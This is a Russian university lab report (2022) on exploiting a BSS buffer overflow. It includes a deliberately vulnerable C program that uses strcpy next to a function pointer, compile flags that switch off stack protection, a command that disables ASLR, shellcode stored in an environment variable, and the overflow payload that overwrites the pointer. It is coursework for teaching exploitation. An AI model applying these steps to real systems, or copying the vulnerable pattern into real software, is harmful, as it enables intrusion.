Lab03
.pdfМИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ,
СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ ИМ. ПРОФ. М.А. БОНЧ-БРУЕВИЧА»
(СПбГУТ)
Факультет Инфокоммуникационных сетей и систем Кафедра Защищенных систем связи
Дисциплина Эксплуатация Уязвимостей Программного Обеспечения
10.03.01 Информационная безопасность
(код и наименование направления/специальности) |
|
|
|||
ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №3 |
|
|
|||
|
Выполнил: |
|
|
||
|
Яковлев И. А., ИКБ-95 |
|
|
|
|
|
(Ф.И.О., № группы) |
|
(подпись) |
||
|
Милькота Н. О., ИКБ-95 |
|
|
|
|
|
(Ф.И.О., № группы) |
|
(подпись) |
||
|
Погосов М. В., ИКБ-95 |
|
|
|
|
|
(Ф.И.О., № группы) |
|
(подпись) |
Преподаватель: |
|
Браницкий А. А. |
|
(Ф.И.О) |
(подпись) |
Санкт-Петербург
2022
1. Установить линукс на виртуалку;
sudo apt install gcc
sudo apt install gcc-multilib sudo apt install nasm
2. Код исполняемой программы
#include <stdio.h>
#include <string.h>
#include <stdlib.h> void prt (char *v)
{
printf ("v: %s\n", v );
}
int main (int argc, char *argv [])
{
if (argc != 2) exit (1); static char buf [100]; static void (*f)(char *);
printf ("addr buf: %p\n", buf); printf ("addr &f: %p\n", &f); f = prt;
strcpy (buf, argv [1]); f (buf);
return 0;
}
3. Компиляция файла C
gcc -g -m32 --static -fno-stack-protector -z execstack vuln_bass.c -o vuln_bass
4. Получение буферов
./vuln_bss aaa
Разница между buf и &f (0x80e92c0 – 0x80e9324 = 100)
5. Получение буферов с 99(а)
./vuln_bass `python -c 'print ("a" * 99)'`
2
При 100(а) выводится ошибка
6. Код адреса переменной окружения
#include <stdio.h>
#include <stdlib.h>
int main (int argc , char * argv [])
{
printf (" addr %s: %p\n", argv [1] , getenv ( argv [1])); printf ("%s=%s\n", argv [1] , getenv ( argv [1]));
}
7. Отключение механизма ASLR
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
8. компиляция кода адреса переменной окружения
gcc -m32 pea.c -o pea
9. Задание переменной окружения
export SHELLCODE=$(echo -e "\xeb\xfe")
10. Получаем адрес переменной окружения:
./pea SHELLCODE
11. Получение адреса переменной окружения в программе vuln_bass
python3 -c 'print("{:02x}".format(0xffffdfd4 - (len("./vuln_bass") - len("./pea")) * 2))'
12. Запуск эксплойта
Получаем строку мусора и копируем: python3 -c ‘print(“A”*100)’
3
Запускаем эксплойт
/vuln_bass $(echo -n -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc8\xdf\xff\xff")
4